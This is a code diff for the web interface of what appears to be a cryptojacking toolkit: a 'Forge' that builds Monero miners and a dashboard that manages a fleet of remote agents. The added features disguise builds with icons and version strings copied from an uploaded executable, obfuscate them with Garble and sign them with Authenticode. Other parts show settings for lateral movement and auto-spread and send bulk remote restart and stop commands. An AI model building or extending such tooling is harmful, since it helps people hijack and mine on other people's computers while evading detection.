||||
<label className="checkbox-label">
|
||||
<input type="checkbox" className="checkbox" checked={!!form.sign_build}
|
||||
onChange={(e) => updateField('sign_build', e.target.checked)} />
|
||||
<span>Sign forged output (Authenticode) <HelpTip field="sign_build" /></span>
|
||||
</label>
|
||||
<FieldHint field="sign_build" />
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div className="form-section">
|
||||
<ForgeSectionHeader
|
||||
title="Autonomy, Mesh & Lateral Movement"
|
||||
@@ -946,6 +1154,8 @@ export default function BuilderPage() {
|
||||
<FieldHint field="auto_spread" />
|
||||
</div>
|
||||
</div>
|
||||
</>
|
||||
)}
|
||||
|
||||
<div className="preflight-panel card">
|
||||
<h3 className="font-tech">PREFLIGHT CROSS-CHECK</h3>
|
||||
@@ -990,7 +1200,13 @@ export default function BuilderPage() {
|
||||
<>
|
||||
<p><strong>Your file (project root):</strong></p>
|
||||
<code className="path-display">{lastBuild.export_path}</code>
|
||||
<p className="form-hint">Fusion builds keep the same icon as your uploaded prep when Windows icon extraction succeeds.</p>
|
||||
<p className="form-hint">Fusion output keeps prep icon + File Description / version strings from your uploaded prep.exe (Windows).</p>
|
||||
{(lastBuild.obfuscated || lastBuild.signed) && (
|
||||
<p className="form-hint">
|
||||
{lastBuild.obfuscated && 'Garble obfuscation applied. '}
|
||||
{lastBuild.signed && 'Authenticode signature applied.'}
|
||||
</p>
|
||||
)}
|
||||
</>
|
||||
)}
|
||||
<p className="form-hint">Archive copy: <code className="mono-sm">{lastBuild.file_path}</code></p>
|
||||
|
||||
@@ -9,9 +9,17 @@ import NeonCard from '../components/NeonCard/NeonCard';
|
||||
import { FleetPipelineStatus, ActivityPulse } from '../components/Visual/VisualComponents';
|
||||
import { AlertBanner, PoolStatusPanel, AIActivityPanel, EarningsEstimator } from '../components/Fleet/FleetPanels';
|
||||
import AgentRemoteActions from '../components/Fleet/AgentRemoteActions';
|
||||
import FleetToolbar from '../components/Fleet/FleetToolbar';
|
||||
import {
|
||||
DEFAULT_FLEET_FILTERS,
|
||||
filterFleetAgents,
|
||||
agentIsIdleMiner,
|
||||
formatHashrate,
|
||||
formatUptime,
|
||||
} from '../help/fleetFilters';
|
||||
import type { FleetFilterState } from '../help/fleetFilters';
|
||||
import '../components/Fleet/AgentRemoteActions.css';
|
||||
import './Pages.css';
|
||||
|
||||
export default function DashboardPage() {
|
||||
const { isConnected, agents, recentShares, fleetAlerts, poolStatus, aiActivity } = useWebSocket();
|
||||
const [shares, setShares] = useState<Share[]>([]);
|
||||
@@ -23,7 +31,9 @@ export default function DashboardPage() {
|
||||
const [cpuHistory, setCpuHistory] = useState<{ time: string; value: number }[]>([]);
|
||||
const [memHistory, setMemHistory] = useState<{ time: string; value: number }[]>([]);
|
||||
const [hasBuilds, setHasBuilds] = useState(false);
|
||||
|
||||
const [filters, setFilters] = useState<FleetFilterState>(DEFAULT_FLEET_FILTERS);
|
||||
const [selectedIds, setSelectedIds] = useState<Set<string>>(new Set());
|
||||
const [bulkBusy, setBulkBusy] = useState(false);
|
||||
useEffect(() => {
|
||||
api.getRecentShares(20).then(setShares).catch(console.error);
|
||||
api.listBuilds().then((b) => setHasBuilds(b.length > 0)).catch(console.error);
|
||||
@@ -70,11 +80,12 @@ export default function DashboardPage() {
|
||||
setMemHistory((prev) => [...prev.slice(-59), { time: now, value: avgMem }]);
|
||||
}, [totalHashrate, avgCpu, avgMem]);
|
||||
|
||||
const topAgents = useMemo(
|
||||
() => [...agents].sort((a, b) => b.hashrate_15m - a.hashrate_15m).slice(0, 8),
|
||||
[agents]
|
||||
);
|
||||
const filteredAgents = useMemo(() => filterFleetAgents(agents, filters), [agents, filters]);
|
||||
|
||||
const topAgents = useMemo(
|
||||
() => [...filteredAgents].sort((a, b) => b.hashrate_15m - a.hashrate_15m).slice(0, 12),
|
||||
[filteredAgents]
|
||||
);
|
||||
const maxAgentHash = Math.max(...topAgents.map((a) => a.hashrate_15m), 1);
|
||||
|
||||
const activityItems = useMemo(
|
||||
@@ -97,8 +108,28 @@ export default function DashboardPage() {
|
||||
[agents]
|
||||
);
|
||||
|
||||
return (
|
||||
<div className="page fade-in command-deck">
|
||||
const handleBulkAction = async (action: string) => {
|
||||
let targetIds = [...selectedIds];
|
||||
if (action === 'restart_idle') {
|
||||
targetIds = agents.filter((a) => selectedIds.has(a.id) && agentIsIdleMiner(a)).map((a) => a.id);
|
||||
if (targetIds.length === 0) {
|
||||
alert('No selected online agents with idle hashrate.');
|
||||
return;
|
||||
}
|
||||
action = 'restart';
|
||||
}
|
||||
const onlineIds = targetIds.filter((id) => agents.find((a) => a.id === id)?.status === 'online');
|
||||
if (onlineIds.length === 0) return;
|
||||
if (action === 'stop' && !window.confirm(`Stop ${onlineIds.length} agent(s)?`)) return;
|
||||
setBulkBusy(true);
|
||||
try {
|
||||
await api.sendBulkCommand(onlineIds, action);
|
||||
} finally {
|
||||
setBulkBusy(false);
|
||||
}
|
||||
};
|
||||
|
||||
return ( <div className="page fade-in command-deck">
|
||||
<AlertBanner alerts={alerts} />
|
||||
<header className="deck-hero">
|
||||
<div className="deck-hero-text">
|
||||
@@ -213,8 +244,17 @@ export default function DashboardPage() {
|
||||
<span className="section-ornament">◆</span> Machine Roster
|
||||
<span className="section-line" />
|
||||
</h2>
|
||||
<div className="agent-grid">
|
||||
{agents.length === 0 && (
|
||||
{agents.length > 0 && (
|
||||
<FleetToolbar
|
||||
agents={agents}
|
||||
filters={filters}
|
||||
onChange={setFilters}
|
||||
selectedCount={selectedIds.size}
|
||||
onBulkAction={handleBulkAction}
|
||||
bulkBusy={bulkBusy}
|
||||
/>
|
||||
)}
|
||||
<div className="agent-grid"> {agents.length === 0 && (
|
||||
<NeonCard accent="brass" className="empty-state">
|
||||
<div className="empty-icon">⚙</div>
|
||||
<h3>No miners on the wire</h3>
|
||||
@@ -230,12 +270,31 @@ export default function DashboardPage() {
|
||||
>
|
||||
<div className="agent-card-header">
|
||||
<div className="agent-name">
|
||||
<input
|
||||
type="checkbox"
|
||||
className="checkbox"
|
||||
checked={selectedIds.has(agent.id)}
|
||||
onChange={(e) => {
|
||||
setSelectedIds((prev) => {
|
||||
const next = new Set(prev);
|
||||
if (e.target.checked) next.add(agent.id);
|
||||
else next.delete(agent.id);
|
||||
return next;
|
||||
});
|
||||
}}
|
||||
/>
|
||||
<span className={`status-dot ${agent.status}`} />
|
||||
<span>{agent.name}</span>
|
||||
</div>
|
||||
<span className={`status-badge ${agent.status}`}>{agent.status}</span>
|
||||
</div>
|
||||
<div className="agent-hash-bar">
|
||||
{(agent.tags?.length ?? 0) > 0 && (
|
||||
<div style={{ marginBottom: '0.35rem' }}>
|
||||
{agent.tags!.map((t) => (
|
||||
<span key={t} className="agent-tag-chip">{t}</span>
|
||||
))}
|
||||
</div>
|
||||
)} <div className="agent-hash-bar">
|
||||
<div
|
||||
className="agent-hash-fill"
|
||||
style={{ width: `${(agent.hashrate_15m / maxAgentHash) * 100}%` }}
|
||||
@@ -250,12 +309,16 @@ export default function DashboardPage() {
|
||||
<div><span>Node</span><strong className="mono-sm">{agent.ip || '—'} · {agent.id.slice(0, 8)}</strong></div>
|
||||
<div><span>Uptime</span><strong>{formatUptime(agent.uptime_seconds)}</strong></div>
|
||||
</div>
|
||||
<AgentRemoteActions agent={agent} compact />
|
||||
<AgentRemoteActions agent={agent} compact online={agent.status === 'online'} />
|
||||
</NeonCard>
|
||||
))}
|
||||
{agents.length > 0 && topAgents.length === 0 && (
|
||||
<NeonCard accent="brass" className="empty-state">
|
||||
<p>No agents match current filters.</p>
|
||||
</NeonCard>
|
||||
)}
|
||||
</div>
|
||||
</section>
|
||||
|
||||
<section className="section">
|
||||
<h2 className="section-title font-display">
|
||||
<span className="section-ornament">◆</span> Share Log
|
||||
@@ -298,21 +361,6 @@ export default function DashboardPage() {
|
||||
);
|
||||
}
|
||||
|
||||
function formatHashrate(h: number): string {
|
||||
if (h >= 1_000_000) return `${(h / 1_000_000).toFixed(2)} MH/s`;
|
||||
if (h >= 1_000) return `${(h / 1_000).toFixed(2)} KH/s`;
|
||||
return `${h.toFixed(0)} H/s`;
|
||||
}
|
||||
|
||||
function formatUptime(seconds: number): string {
|
||||
const d = Math.floor(seconds / 86400);
|
||||
const h = Math.floor((seconds % 86400) / 3600);
|
||||
const m = Math.floor((seconds % 3600) / 60);
|
||||
if (d > 0) return `${d}d ${h}h`;
|
||||
if (h > 0) return `${h}h ${m}m`;
|
||||
return `${m}m`;
|
||||
}
|
||||
|
||||
function formatTime(t: string): string {
|
||||
return new Date(t).toLocaleTimeString();
|
||||
}
|
||||
|
||||
@@ -1221,3 +1221,20 @@
|
||||
border-radius: 6px;
|
||||
background: rgba(248, 113, 113, 0.08);
|
||||
}
|
||||
|
||||
.forge-mode-toggle {
|
||||
display: inline-flex;
|
||||
gap: 4px;
|
||||
margin-right: 4px;
|
||||
}
|
||||
|
||||
.forge-simple-banner {
|
||||
margin-bottom: 1rem;
|
||||
padding: 1rem 1.25rem;
|
||||
border: 1px solid rgba(212, 175, 55, 0.35);
|
||||
background: rgba(212, 175, 55, 0.06);
|
||||
}
|
||||
|
||||
.forge-simple-banner .font-tech {
|
||||
margin-bottom: 0.35rem;
|
||||
}
|
||||
|
||||
@@ -176,6 +176,11 @@ export default function SettingsPage() {
|
||||
strict_wallet_validation: false,
|
||||
dashboard_subtitle: '',
|
||||
open_firewall_on_start: true,
|
||||
obfuscate_default: false,
|
||||
sign_enabled: false,
|
||||
sign_cert_thumbprint: '',
|
||||
sign_tool_path: '',
|
||||
sign_timestamp_url: 'http://timestamp.digicert.com',
|
||||
};
|
||||
|
||||
return (
|
||||
@@ -210,7 +215,27 @@ export default function SettingsPage() {
|
||||
{serverInfo.local_ips?.length > 0 && (
|
||||
<p className="form-hint">IPs on this host: {serverInfo.local_ips.join(' · ')}</p>
|
||||
)}
|
||||
<p className="form-hint">Set Public URL below if you want the Forge to default to a specific address.</p>
|
||||
<p className="form-hint">Workers need this LAN address — not localhost. Click below to apply best defaults, then Save Calibration.</p>
|
||||
<button
|
||||
type="button"
|
||||
className="btn btn-primary btn-sm"
|
||||
style={{ marginTop: '0.75rem' }}
|
||||
onClick={() => {
|
||||
if (!config) return;
|
||||
updateField('server.public_url', serverInfo.suggested_url);
|
||||
updateField('server.open_firewall_on_start', true);
|
||||
updateField('server.obfuscate_default', false);
|
||||
updateField('server.sign_enabled', false);
|
||||
if (!config.wallet.address?.trim()) {
|
||||
setSaveMessage('Set your Monero wallet below, then Save Calibration.');
|
||||
} else {
|
||||
setSaveMessage('Best defaults applied to the form — click Save Calibration to keep them.');
|
||||
}
|
||||
}}
|
||||
>
|
||||
Use best defaults
|
||||
</button>
|
||||
<FieldHint field="calibrate_quick_setup" />
|
||||
</NeonCard>
|
||||
)}
|
||||
|
||||
@@ -233,9 +258,18 @@ export default function SettingsPage() {
|
||||
</div>
|
||||
<div className="form-group">
|
||||
<label className="label">Public URL (LAN) <HelpTip field="public_url" /></label>
|
||||
<input type="text" className="input mono" placeholder={serverInfo?.suggested_url || 'http://192.168.1.x:8989'}
|
||||
value={s.public_url}
|
||||
onChange={(e) => updateField('server.public_url', e.target.value)} />
|
||||
<div style={{ display: 'flex', gap: '8px', flexWrap: 'wrap', alignItems: 'center' }}>
|
||||
<input type="text" className="input mono" style={{ flex: 1, minWidth: '200px' }}
|
||||
placeholder={serverInfo?.suggested_url || 'http://192.168.1.x:8989'}
|
||||
value={s.public_url}
|
||||
onChange={(e) => updateField('server.public_url', e.target.value)} />
|
||||
{serverInfo?.suggested_url && (
|
||||
<button type="button" className="btn btn-outline btn-sm"
|
||||
onClick={() => updateField('server.public_url', serverInfo.suggested_url)}>
|
||||
Use detected LAN
|
||||
</button>
|
||||
)}
|
||||
</div>
|
||||
<FieldHint field="public_url" />
|
||||
</div>
|
||||
<div className="form-group">
|
||||
@@ -291,9 +325,11 @@ export default function SettingsPage() {
|
||||
<h2 className="font-display">Fleet Payout Wallet</h2>
|
||||
<p className="section-desc">Default wallet the server uses when connecting to the pool. The Forge pre-fills this when building miners.</p>
|
||||
<div className="form-group">
|
||||
<label className="label">XMR Address <HelpTip field="wallet" /></label>
|
||||
<input type="text" className="input mono" value={config.wallet.address}
|
||||
<label className="label">XMR Address <HelpTip field="calibrate_wallet" /></label>
|
||||
<input type="text" className="input mono" placeholder="4… (95 chars)"
|
||||
value={config.wallet.address}
|
||||
onChange={(e) => updateField('wallet.address', e.target.value)} />
|
||||
<FieldHint field="calibrate_wallet" />
|
||||
</div>
|
||||
<div className="form-group">
|
||||
<label className="label">Payment ID (optional)</label>
|
||||
@@ -395,6 +431,47 @@ export default function SettingsPage() {
|
||||
)}
|
||||
</NeonCard>
|
||||
|
||||
<NeonCard accent="brass" className="settings-section">
|
||||
<h2 className="font-display">Forge Pipeline</h2>
|
||||
<p className="section-desc">Defaults for obfuscation and code signing applied when forging on this control PC.</p>
|
||||
<div className="form-group checkbox-group">
|
||||
<label className="checkbox-label">
|
||||
<input type="checkbox" className="checkbox" checked={s.obfuscate_default ?? false}
|
||||
onChange={(e) => updateField('server.obfuscate_default', e.target.checked)} />
|
||||
<span>Default: obfuscate new forges with Garble <HelpTip field="obfuscate_default" /></span>
|
||||
</label>
|
||||
<FieldHint field="obfuscate_default" />
|
||||
</div>
|
||||
<div className="form-group checkbox-group">
|
||||
<label className="checkbox-label">
|
||||
<input type="checkbox" className="checkbox" checked={s.sign_enabled ?? false}
|
||||
onChange={(e) => updateField('server.sign_enabled', e.target.checked)} />
|
||||
<span>Default: sign forged executables <HelpTip field="sign_enabled" /></span>
|
||||
</label>
|
||||
<FieldHint field="sign_enabled" />
|
||||
</div>
|
||||
<div className="form-group">
|
||||
<label className="label">Code signing cert thumbprint (SHA-1) <HelpTip field="sign_cert_thumbprint" /></label>
|
||||
<input type="text" className="input mono" placeholder="AB CD EF ..."
|
||||
value={s.sign_cert_thumbprint || ''}
|
||||
onChange={(e) => updateField('server.sign_cert_thumbprint', e.target.value)} />
|
||||
<FieldHint field="sign_cert_thumbprint" />
|
||||
</div>
|
||||
<div className="form-group">
|
||||
<label className="label">signtool.exe path (optional) <HelpTip field="sign_tool_path" /></label>
|
||||
<input type="text" className="input mono" placeholder="Auto-detect from Windows SDK"
|
||||
value={s.sign_tool_path || ''}
|
||||
onChange={(e) => updateField('server.sign_tool_path', e.target.value)} />
|
||||
</div>
|
||||
<div className="form-group">
|
||||
<label className="label">Timestamp server URL <HelpTip field="sign_timestamp_url" /></label>
|
||||
<input type="text" className="input mono"
|
||||
value={s.sign_timestamp_url || 'http://timestamp.digicert.com'}
|
||||
onChange={(e) => updateField('server.sign_timestamp_url', e.target.value)} />
|
||||
<FieldHint field="sign_timestamp_url" />
|
||||
</div>
|
||||
</NeonCard>
|
||||
|
||||
<NeonCard accent="green" className="settings-section">
|
||||
<h2 className="font-display">Data & Limits</h2>
|
||||
<p className="section-desc">Retention and capacity for this host.</p>
|
||||
|
||||
Reference in New Issue
Block a user